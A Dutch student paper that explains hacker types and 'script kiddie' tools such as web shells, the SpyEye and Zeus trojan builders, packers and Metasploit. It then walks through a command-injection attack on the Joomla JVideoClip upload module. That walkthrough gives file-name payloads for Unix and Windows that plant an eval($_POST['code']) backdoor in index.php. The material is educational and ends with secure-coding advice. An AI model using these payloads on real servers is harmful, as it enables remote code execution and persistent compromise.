Hacken, Script Kiddies en Script Kiddie Tools



Vergelijkbare documenten
XAMPP Web Development omgeving opzetten onder Windows.

Installeer Apache2: Landstede februari 2009 versie 3 1 Bertil Hoentjen

Xampp Web Development omgeving opzetten onder Windows.

Handleiding Beveiligen van Wordpress

Opmerkingen kan je mailen naar: A. Kouters: A. Steijlen: Versie Datum Opmerkingen

KLIC-WIN. B2B Pilot Netinformatie. Handleiding om in de testfase bestanden te uploaden naar de NTD (ook voor grote bestanden)

De voordelen van Drupal

Resultaten van de scan. Open poorten. High vulnerabilities. Medium vulnerabilites. Low vulnerabilities

Web Application Security Hacking Your Way In! Peter Schuler & Julien Rentrop

Installatiehandleiding 2.x

Joomla & Security. Ing. Gertjan Oude Lohuis Byte Internet 19 november 2007

IdentySoft Basic Support Handleiding EasySecure International B.V.

Port Redirection & Open Ports

1.4.1 WordPress online WordPress-software Open source Forums 4

Kies File>New>Blank Page>PHP. Je kunt eventueel nog een stylesheet koppelen. Definieer nu eerst een site! Dat betekent: Site>New Site

Handleiding Migratie. Bronboek Professional

Analyse probleem remote execution

Installatie SQL: Server 2008R2

Screencast-O-Matic HANDLEIDING

Installatiehandleiding King Webservices 2.0

Priva Blue ID Network scanner / Syslog Tool

Manual . Aan de slag. in beroep en bedrijf. Manual

VMBO-ICT-Route examen 2009 Naam: Marc Schattorie Datum:

16. Web Station. In dit hoofdstuk komen de volgende onderwerpen aan bod:

Introductie Veiligheidseisen Exploiten Conclusie. Browser security. Wouter van Dongen. RP1 Project OS3 System and Network Engineering

Web Presence Builder. Inhoud

Installatie en configuratie documentatie

Tutorial voor FTP, STMP en Telnet

Installatie en configuratie documentatie

VKblog-importer : De gebruiksaanwijzing.

TECHNICAL DESIGN DOCUMENT

Over PHP. PHP en MySQL. 1.1 Inleiding. In dit hoofdstuk maak je kennis met PHP. Hoe werkt deze

LES 3: XAMPP OF MAMP. Lesoverzicht:

Publiceren met WordPress

WordPress in het Kort

Belangrijk: Voordat u een VPN tunnel creëert dient u ervoor te zorgen dat de datum en tijd instellingen van de router juist staan ingesteld.

Handleiding foto s uploaden Gallery 3

Planbord installatie instructies

Aanmelden Na installatie wordt de service automatisch gestart en kunt u meteen aanmelden van op afstand:

Zicht - Content Management Systeem een algemene beschrijving

Handleiding Reinder.NET.Tasks.SQL versie 2

IAAS HANDLEIDING - SOPHOS FIREWALL

Handleiding Faxdiensten

Op de Virtual Appliance is MySQL voorgeïnstalleerd. MySQL is momenteel de meest gebruikte database op het internet.

Inhoudsopgave. GlinQ: BattleField2 beheertool, Handleiding versie 1.0

Je website (nog beter) beveiligen met HTTP-Security Headers

HANDLEIDING DMS Plugin Installatie, configuratie & werking

Boutronic. MSSQL Express server voor Log functie. >> Installatie handleiding << 2 april 2012, versie 1.0d

Handleiding Word Press voor de bewoners Westerkaap 1

IdentySoft Pro In gebruik stelling EasySecure International B.V.

Werkinstructie. Technisch Beheer. uitvoeren MAP scan. voor. Datum: 15 oktober Versie: 1.0

SSL VPN. In deze handleiding zullen wij onderstaande SSL mogelijkheden aan u uitleggen. - SSL VPN account/groep creëren.

Handleiding Cryptoboss

Handleiding Wordpress

Software Test Plan. Yannick Verschueren

Aandachtspunten voor installatie suse in vmware server

- Plan Zo kun je een. website bouwen!

6,2. Werkstuk door een scholier 1687 woorden 9 juni keer beoordeeld. Informatica

Don-Neo Technologies TelePort. Master. Installatiehandleiding

IIS - Installatie certificaat

WebHare Professional en Enterprise

Cloud2 Online Backup - CrashplanPRO

SPACE ProAccess 2.0. Voor nadere toelichting kan contact opgenomen worden met SALTO.

NACSPORT TAG&GO HANDLEIDING Eigenschappen knop

USB Webserver installatie en gebruik

Chapter 4. eenvoudige webserver opzetten

1. Hardware Installatie Installatie van Quasyscan...6 A. Hoe controleren of je een actieve internetverbinding hebt?...6 B.

ProjectHeatmap. Onderzoeksrapport v Dennis Wagenaar

Globale kennismaking

Het Wepsysteem. Het Wepsysteem wordt op maat gebouwd, gekoppeld aan de gewenste functionaliteiten en lay-out van de site. Versie september 2010

Temperatuur logger synchronisatie

Korte uitleg: Wat doet de shell met mijn commandoregel?

IP CAMERA HANDLEIDING

Dutch / Nederlands. Versie 1.2

Inhoudsopgave. versie 0.8

SSL VPN. In deze handleiding zullen wij onderstaande SSL mogelijkheden aan u uitleggen. - SSL VPN account/groep creëren.

JOOMLA! GEBRUIKSVRIENDELIJKHEID IN DE PRAKTIJK. Tips en hulpmiddelen voor gebruiksvriendelijkheid

UNIX FAQ. Migratie naar een nieuwe server

Het installeren van de software.

Stappenplan Scannen. Hoe te scannen: Start het programma ABBYY Finereader op

Quickstart handleiding

Handleiding PHP en MySQL onder Windows Server 2003 met IIS 6.0

design ook items uitsnijden

Augustus& Handleiding - Publisher Tool 3

Installatie Solid Edge ST5

Versturen van vanuit een Delphi VCL toepassing

Handleiding website. Inloggen Start uw internet browser en ga naar Laatst bijgewerkt: 17 mei 2008

TeD Tekst en Design. Basisinformatie voor gebruik van het cms Made Simple

AdBackup Pro November 2015 AdBackup Pro 6.13 is beschikbaar op het platform Oodrive Vision en als een op zichzelf staand product AdBackup Pro

5/8 Patch management

Sick Beard installeren en configureren voor gebruik in combinatie met SABnzbd+...

Webhosting Online Beginnen met Joomla v1.0

Handleiding Joomla CMS

SPACE ProAccess 3.0. Voor nadere toelichting kan contact opgenomen worden met SALTO.

Degrande Frederik COMPUTER OVERNEMEN januari 2005

5/5 Red Carpet. 5/5.1 Inleiding

Die vraag krijg ik regelmatig. De meest voorkomende situaties zijn deze:

Transcriptie:

Hacken, Script Kiddies en Script Kiddie Tools Gerben van Veenendaal - 3470792 19 juni 2012 Soorten hackers Er is niet zoiets als de hacker. Binnen de hackingcommunitie bestaan verschillende stromingen. De verschillende soorten hackers zijn: Hacker of White Hat Hacker Een hacker is iemand die inbreekt in computersystemem. Dit doet hij echter niet voor geldelijk gewin. De hacker gaat de uitdaging aan om een van te voren bepaald systeem te penetreren. Hij gaat net zo lang door tot hij een manier gevonden heeft om in het syteem in te breken. De hacker heeft een zeer goede kennis van zo n beetje alle computertechnologie. De hacker heeft onder andere een zeer goede kennis van assembly. Hij weet welke denkfouten de meeste programmeurs maken en buit die uit. Na een succesvolle inbraak zal hij een bericht achterlaten op het systeem of versturen aan de systeembeheerder over de inbraak en hoe deze te voorkomen is. Hierna zal hij een moeilijker te penetreren systeem proberen te hacken. De hacker wil laten zien hoe slecht de beveiliging is van veelgebruikte systemen. Hackers ergeren er zich aan dat hun activiteiten illegaal zijn. Een hacker wordt ook wel een white hat hacker genoemd. Cracker of Black Hat Hacker De cracker of black hat hacker heeft dezelfde vaardigheden als de hacker, maar gebruikt deze wel voor geldelijk gewin of kwalijke doeleinden. Zijn doel is om geld te verdienen, systemen te vernielen of zijn ideologie te verspreiden. Een hacker een cracker noemen is een grote belediging. Ook ergeren hackers zich eraan dat de media de definities vaak door elkaar haalt. Gray Hat Hacker De gray hat hacker valt tussen de vorige twee definities in. Het is hem niet om geldelijk gewin te doen, maar af en toe een grap uit halen met een systeem moet kunnen. Bijvoorbeeld door de tekst van een nieuwsbericht op een nieuwssite een klein beetje aan te passen. De gray hat hacker contacteert vaak een bedrijf niet, maar geeft de manier van het uitbuiten van het lek (de exploit) vrij aan het publiek. Vervolgens kijkt hij hoe het bedrijf erop reageert. Hij is bereid om de wet te overtreden (anders dan het inbreken in een systeem) om verbetering van de beveiliging te bewerkstelligen. De meeste echte hackers zijn gray hat hackers. 1

Script Kiddie De script kiddie hackt omdat het stoer is. Hij weet niet heel veel van de technologie af, maar doet wel alsof. Hij is erg goed in het drukken van knoppen. Hij gebruikt het hacken om zijn populariteit te vergroten, niet om de kick om een complex probleem op te lossen. Hackers ergeren zich aan script kiddies omdat het hen om de technogie te doen is, en de hackerscommunitie een slechte naam geven. De script kiddie hackt niet echt, maar gebruikt tools die het hacken voor hem doen. Deze tools zijn geschreven door hackers. De script kiddie kiest niet eerst zijn doel, en hackt die vervolgens. Hij kiest eerst zijn middel (de tools), en kijkt vervolgens waar hij dat middel op toe kan passen. 2

Script Kiddie Tools Script kiddies zijn dus zo sterk als hun tools. Maar welke tools zijn er zoal, en waar worden ze voor gebruikt? Hieronder een overzicht van enkele gebruikte tools. De Exploit De exploit is een belangrijke tool. Een exploit is een geautomatiseerde hack in de vorm van een script. Deze scripts kunnen in allerlei talen geschreven worden. Veelgebruikte talen zijn Perl, Ruby, Python, Bash, C en Assembly. Exploits zijn voor de meeste gevonden lekken binnen enkele dagen online. Vaak presenteert een hacker zijn gevonden lek ook met een exploit die het uitbuit. Exploits zijn te vinden in online databases, waarin je kunt zoeken op de software die je wilt hacken. Een echte hacker maakt exploits, maar script kiddies gebruiken ze slechts. Vaak zijn de exploits gedeeltelijk configureerbaar, zodat je een bijvoorbeeld een doel in kunt stellen, of andere informatie die nodig is voor de lek. Dit maakt dat er nog enige moeite vereist is om de exploit uit te voeren. Tegenwoordig bestaat er ook een geautomatiseerde exploit-uitvoer-tool, die ook de configuratie overbodig maakt. Hierover later meer. Figuur 1: Een exploit database website. 3

C99madShell C99madShell is een tool die gebruikt wordt voor het hacken van servers. Het is één lang PHP script, dat geupload moet zijn om hem te gebruiken. Eerst moet er dus een mogelijkheid zijn om een PHP bestand op de website te uploaden, bijvoorbeeld door een exploit uit te voeren. Daarna kun je de tool gebruiken om je mogelijkheden op de server gemakkelijk uit te breiden. De tool heeft veel mogelijkheden: het heeft een file browser om bestanden te bekijken, een command line interface om commando s uit te voeren, het kan alle PHP informatie laten zien (modules, instellingen, etc.), je kunt er de lopende processen mee bekijken, het kan bestanden uploaden, zoeken, bewerken en verwijderen, SQL uitvoeren, PHP code uitvoeren, FTP wachtwoorden bruteforcen en nog veel meer. Het script zelf is ongeveer 45 Kb en gebruikt een simpele methode om de broncode te verkleinen en te verbergen. Het bevat de volgende PHP code: e v a l ( g z i n f l a t e ( base64_decode ( Lange ge g z i p t e base64 geencodeerde s t r i n g. ) ) ) ; Zelfs een script kiddie kan dat nog gemakkelijk decoderen. Gzip comprimeert code ongeveer tot 30% van de oorspronkelijke grootte. Base64 vergroot de code echter met 33%. Hoewel het de code niet zo goed obfuscate, zorgt het dus wel voor een reductie van 60% in grootte van de code. Figuur 2: C99madShell 2.0 madnet edition in actie. 4

SpyEye en Zeus SpyEye en Zeus zijn viruscreatietools. Ze bieden beide een gemakkelijke applicatie waarmee je je eigen trojan kunt bouwen. Deze applicatie biedt een aantal opties om het virus te laten voldoen aan je persoonlijke behoeften. Zo bieden ze bijvoorbeeld de mogelijkheid om keylogging in het virus te stoppen. Deze optie maakt ook screenshots als een gebruiker klikt, voor onscreen toetsenborden. Ook kan met het aangemaakte virus automatisch creditcardgegevens verzameld worden. SpyEye heeft ook de mogelijkheid om zelfgemaakte plugins toe te voegen. Deze plugins worden ook commercieel verkocht. Zo is er een plugin waarmee je willekeurige commando s uit kunt voeren op het doelsysteem. SpyEye heeft verder nog de optie om zijn concurrent Zeus uit te schakelen. Je moet een IP-adres aangegeven waar de gegevens naar worden verstuurd. In een administratiepaneel van het virus kun je dan alle verzamelde gegevens bekijken. Beide virustools worden commercieel verkocht op hackersforums. Er verschijnen regelmatig updates met support voor nieuwe platformen of met nieuwe security-omzeil-technieken. Ironisch genoeg verschijnen op dezelfde forums ook cracks voor de tools waarmee je de trial versie kunt activeren. Deze tools zijn erg bruikbaar om botnets op te zetten. Het aangemaakte virus verspreid zich echter niet automatisch. Figuur 3: SpyEye trojan generator en Zeus zijn administratie paneel. Packer Een packer is een tool die een executable neemt en deze comprimeert en (white box) encrypteert. Hij voegt een loader toe die vervolgens deze geëncrypteerde data decrypteert en uitvoert. Ook zitten er vaak technieken in om de code te obfuscaten. Obfuscation is een techniek die assemblycode slecht leesbaar maakt, en static analysers het verkeerde spoor zet. Packers voegen bijvoorbeeld random data in, en jumpen hier vervolgens overeen. Ook laten ze het lijken alsof bepaalde stukken assembly methoden zijn, terwijl dat niet zo is. Packers voegen ook vaak anti-debugger checks in. Zo voegt hij bijvoorbeeld een check in die bepaalde assembly afloopt om te kijken of er breakpoints zijn ingevoegd. 5

Het doel van de hacker met deze tool is voornamelijk om analyse van een virus moeilijk te maken, zodat virusscanners de executable niet detecteren als een virus. Een bekende packer is de open source packer UPX, maar er zijn er nog veel meer, met allemaal verschillende features. TrojanToWorm TrojanToWorm is een tool om een bestaande trojan om te zetten in een worm. Een trojan is een virus die zelf geen middelen heeft om zich voort te planten. Een worm plant zich wel voort. Deze tool voegt dus de mogelijkheid toe aan een virus om zich voort te planten. Zo infecteert het automatisch USB sticks zodat als ze in een andere computer worden ingeplugd, ze het virus verspreiden. Ook zitten er trucks in om virusscanners te omzeilen, ervoor te zorgen dat het virus niet twee keer draait, en packing met de bekende UPX packer. Figuur 4: TrojanToWorm 2.0 in actie. IP en Port Scanner Een IP scanner is een tool waarmee je een range van IP-addressen kunt pingen om te kijken of ze bestaan. Sommige tools bedenken zelf ranges en laten de gebruiker instellen hoe veel live IP-addressen ze willen hebben. Een script kiddie kan hiermee potentiele doelen vinden voor aanvallen met exploits. 6

Een port scanner scant voor een bepaald IP-adres een reeks bekende poorten af op zoek naar services. Dit doet hij simpelweg door met elke poort een TCP connectie op te zetten en te kijken of het lukt. Vaak zitten port scanners bij IP scanners inbegrepen. Port scanners worden veel gebruikt door hackers omdat het de enige methode is om te kijken welke services een machine draait als je geen toegang tot de machine hebt. Metasploit Metasploit is een tool die hacken automatiseert. Er zit een IP en port scanner in waarmee je een range IP-adressen kunt scannen. Metasploit detecteert automatisch welke services er op de machines draaien en geeft hier een overzicht van. Vervolgens zoekt Metasploit bij de versies van de draaiende services alle gepubliceerde exploits op. Deze draait hij dan één voor één. Je kunt ook zelf exploits selecteren die uitgevoerd moeten worden. Om een exploit te laten werken in Metasploit moet hij in Ruby geschreven zijn en het Metasploit framework gebruiken. Een Metasploit exploit heeft twee fasen: een detectiefase waarin gedetecteerd wordt of de hack uitgevoerd kan worden en een uitvoeringsfase waarin hij daadwerkelijk uitgevoerd wordt. Een Metasploit exploit geef je vaak een payload mee, dat is een stuk code die je wilt uitvoeren op het doelsysteem. Metasploit biedt zelf al vele van zulke payloads aan, zoals bijvoorbeeld een shell payload, waarmee je willekeurige commando s kunt uitvoeren op het systeem, of een VNC server waarmee je het doelsysteem kunt overnemen. Figuur 5: Metasploit pro in actie. 7

Een voorbeeldhack van JVideoClip In dit hoofdstuk zal ik een voorbeeld geven van hoe een hack gedaan wordt, en waar de script kiddie met zijn tools te voorschijn komt. Het doel opstellen en zwakheden zoeken Stel, we willen een bepaalde site hacken. Allereerst onderzoeken we ons doel. We kijken welke frameworks de site gebruikt, en wat voor software het systeem draait. Verder kijken we naar mogelijke zwakheden in het systeem. Het blijkt dat het desbetreffende systeem op Joomla draait, een populair webframework. Ook blijkt dat het de gebruiker in staat stelt om filmpjes te uploaden met behulp van een Joomla module, JVideoClip. In code voor het uploaden van bestanden worden vaak fouten gemaakt. Dit is dus een mogelijke zwakke plek van het systeem. De uploadprocedure De JVideoClip module is open source, en dus gaan we op zoek naar zwakheden in de code. Omdat een upload procedure vaak fouten bevat, bekijken we deze goed. De code listing van het uploadmechanisme staat in site/controller.php en bevat: //add video $ a r r v i d e o = $_FILES [ video ] ; f o r ( $ i = 0 ; $ i < count ( $ a r r v i d e o [ name ] ) ; $ i++) { $filename_ without_ ext = md5( microtime ( ) ) ; $ext_pos = s t r r c h r ( $ a r r v i d e o [ name ] [ $ i ],. ) ; $ v i d e o f u l l p a t h = $upload_folder. DS. $filename_without_ext. $ext_pos ; $filename_without_ext_fullpath = $upload_folder. DS. $filename_without_ext ; move_uploaded_file ( $ a r r v i d e o [ tmp_name ] [ $ i ], $ v i d e o f u l l p a t h ) ; c o n v e r t v i d e o ( $ v i d e o f u l l p a t h, $filename_without_ext_fullpath ) ;... Het eerste wat dit stukje probeert te doen is een niet te raden oneway hash aanmaken met hehulp van het Message-Digest-5 algoritme van de huidige tijd. De functie microtime geeft de huidige tijd in milliseconden van het systeem. Hoewel deze niet te raden is, is hij wel te bruteforcen. De huidige tijd in seconden kan namelijk makkelijk verkregen worden, en er zijn maar 1000 milliseconden in een seconde, dus met 2000 pogingen is deze hash goed te bruteforcen. Dit is dus geen goede methode. Beter zou het zijn om een hash te maken van een random string met voldoende entropie. Vervolgens pakt hij de extensie van de bestandsnaam die we uploaden. Dit doet hij door het stuk van de bestandsnaam vanaf de laatste punt te nemen. Het script verplaatst dan het 8

bestand van zijn tijdelijke locatie naar een nieuwe locatie door als bestandsnaam de hash te nemen en als extensie de originele extensie. Merk op dat dit erg gevaarlijk is. De hash is te bruteforcen, en de extensie kan bijvoorbeeld php zijn. Als de locatie dus bereikbaar is via de webserver, dan is het vrij triviaal om code te uploaden en uit te voeren. Dat deze hack niet mogelijk is zullen we later laten zien. De volgende stap is het converteren van de geuploade video. Dit wordt gedaan met behulp van een convertvideo functie in site/libraries/common.php die de volgende definitie heeft: f u n c t i o n c o n v e r t v i d e o ( $adres, $filename_without_ext_fullpath ) { g l o b a l $mainframe ; $par = &$mainframe >getparams ( com_jvideoclip ) ; $str_ffmpeg_path = $par >g e t ( ffmpeg_path ) ; $ s t r _ f l v t o o l 2 _ p a t h = $par >get ( f l v t o o l 2 _ p a t h ) ; i f ( s t r i p o s (php_uname( s ), windows )!== f a l s e ) { exec ( $str_ffmpeg_path. " i \" ". $adres. " \" ar 22050 ab 64 b 750k r 25 f f l v y s 320 x240 \" ". $filename_without_ext_fullpath. ". f l v \" 2>&1 ", $res, $ e r r ) ; exec ( $ s t r _ f l v t o o l 2 _ p a t h. " U \" ". $filename_without_ext_fullpath. ". f l v \" " ) ; exec ( $str_ffmpeg_path. " y i \" ". $filename_without_ext_fullpath. ". f l v \" f mjpeg s 150 x110 vframes 1 s s 8 an \" ". $filename_without_ext_fullpath. ". small. jpg \" " ) ; e l s e { exec ( $str_ffmpeg_path. " i ". $adres. " ar 22050 ab 64 b 750 k r 25 f f l v y s 320 x240 ". $filename_without_ext_fullpath. ". f l v 2>&1 ", $res, $ e r r ) ; exec ( $ s t r _ f l v t o o l 2 _ p a t h. " U ". $filename_without_ext_fullpath. ". f l v " ) ; exec ( $str_ffmpeg_path. " y i ". $filename_without_ext_fullpath. ". f l v f mjpeg s 150 x110 vframes 1 s s 8 an ". $filename_without_ext_fullpath. ". small. jpg " ) ; i f ( J F i l e : : e x i s t s ( $adres ) ) { J F i l e : : d e l e t e ( $adres ) ; Hier wordt met een bepaalde videoconversietool het verplaatste bestand omgezet in een flv bestand. Dit wordt gedaan via de command line. Merk op dat de variabele adres hier als veilig wordt beschouwd en zonder escaping ingevoegd wordt. Onder Windows wordt het pad nog gequote. Onder andere systeem niet eens. We weten echter dat we de extensie van het pad in adres volledig zelf kunnen bepalen. We zouden dus een command line injectie kunnen proberen. Aan het eind van de code wordt nog het originele bestand verwijderen. Dat is de reden dat de code upload hack niet werkt, het bestand wordt namelijk direct weer verwijderd. 9

Injectie via bestandsnaam We willen dus de command line injecten via een bestandnaamextensie. De volgende vraag luidt dus: wat laat PHP toe aan tekens voor bestandsnamen? Dit hangt er vanaf hoe PHP de RFC 1867 (Form Based File Upload in HTML) implementeerd. Het code gedeelte dat we nodig hebben staat in main/rfc1867.c en is: i f ( ( cd = php_mime_get_hdr_value ( header, " Content D i s p o s i t i o n " ) ) ) { char p a i r = NULL; while ( i s s p a c e ( cd ) ) { ++cd ; while ( cd && ( p a i r = php_ap_getword(&cd, ; ) ) ) { char key = NULL, word = p a i r ; while ( i s s p a c e ( cd ) ) { ++cd ; i f ( s t r c h r ( pair, = ) ) { key = php_ap_getword(& pair, = ) ; i f (! strcasecmp ( key, " name " ) ) { i f ( param ) { e f r e e ( param ) ; param = php_ap_getword_conf(& p a i r TSRMLS_CC) ; e l s e i f (! strcasecmp ( key, " f i l e n a m e " ) ) { i f ( f i l e n a m e ) { e f r e e ( f i l e n a m e ) ; f i l e n a m e = php_ap_getword_conf(& p a i r TSRMLS_CC) ;... char s = s t r r c h r ( filename, \\ ) ; i f ( ( tmp = s t r r c h r ( filename, / ) ) > s ) { s = tmp ; i f ( s && s >= f i l e n a m e ) { s a f e _ p h p _ r e g i s t e r _ v a r i a b l e ( lbuf, s +1, s t r l e n ( s +1), NULL, 0 TSRMLS_CC) ; e l s e { s a f e _ p h p _ r e g i s t e r _ v a r i a b l e ( lbuf, filename, s t r l e n ( f i l e n a m e ), NULL, 0 TSRMLS_CC) ;... 10

De header waarin de bestandnaam staat heeft de vorm: Content D i s p o s i t i o n : attachment ; f i l e n a m e=" bestandnaam. e x t e n s i e " Bovenstaande code detecteert deze header en haalt de filename eruit met de functie php_ap_getword_conf. Deze functie laat alle characters door, dus geeft geen beperkingen op de inhoud. Later in de code wordt echter alles tot en met de laatste back slash of forward slash weggehaald. Die tekens kunnen we dus niet gebruiken. Omdat we een extensie injecteren, kunnen we ook geen punt gebruiken. Dit limiteert ons behoorlijk, want dit zijn veelgebruikte tekens in commando s. Code execution Uiteindelijk willen we willekeurige PHP code kunnen uitvoeren op de server. Dit kunnen we doen door bijvoorbeeld de volgende code aan het einde van index.php toe te voegen: e v a l ($_POST[ code ] ) ; Zo kunnen we via een HTTP POST request met een code waarde onopgemerkt PHP code uitvoeren. Normaal zouden we zoiets doen met: echo e v a l ($_POST[ code ]); > > index. php Maar dat gebruikt een punt, waardoor het niet werkt. In plaats hiervan kunnen we een for loop gebruiken die alleen over index.php loopt met behulp van een wildcard: ; f o r f i n index php ; do echo e v a l ($_POST[ code ]); > > $ f ; done ; Onder Windows werkt dat niet, daar gebruiken we: " f o r %G IN ( index php ) DO echo e v a l ($_POST[ code]);>>%g echo " Merk op dat we onder Windows ook nog even de quote moeten sluiten. Als we bovenstaande code als de extensie gebruiken van een bestandsnaam die we uploaden, is de hack compleet. De exploit Natuurlijk willen we deze hack niet handmatig uitvoeren, al was het alleen al omdat Windows ons niet toestaat een bestand aan te maken met een quote erin. Dus maken we een exploit in Ruby die het Metasploit framework gebruikt. We geven de mogelijkheid om een PHP payload te specificeren die uitgevoerd moet worden. Ten slotte uploaden we de exploit op een exploit database site om hem publiek te maken. Conclusie Wat we van deze aanval kunnen leren is dat je nooit data moet vertrouwen die van de gebruiker komt. Zelfs niet een extensie van een bestandsnaam die geupload wordt. Escape altijd de data die binnenkomt voordat je hem gebruikt in bijvoorbeeld een commando. 11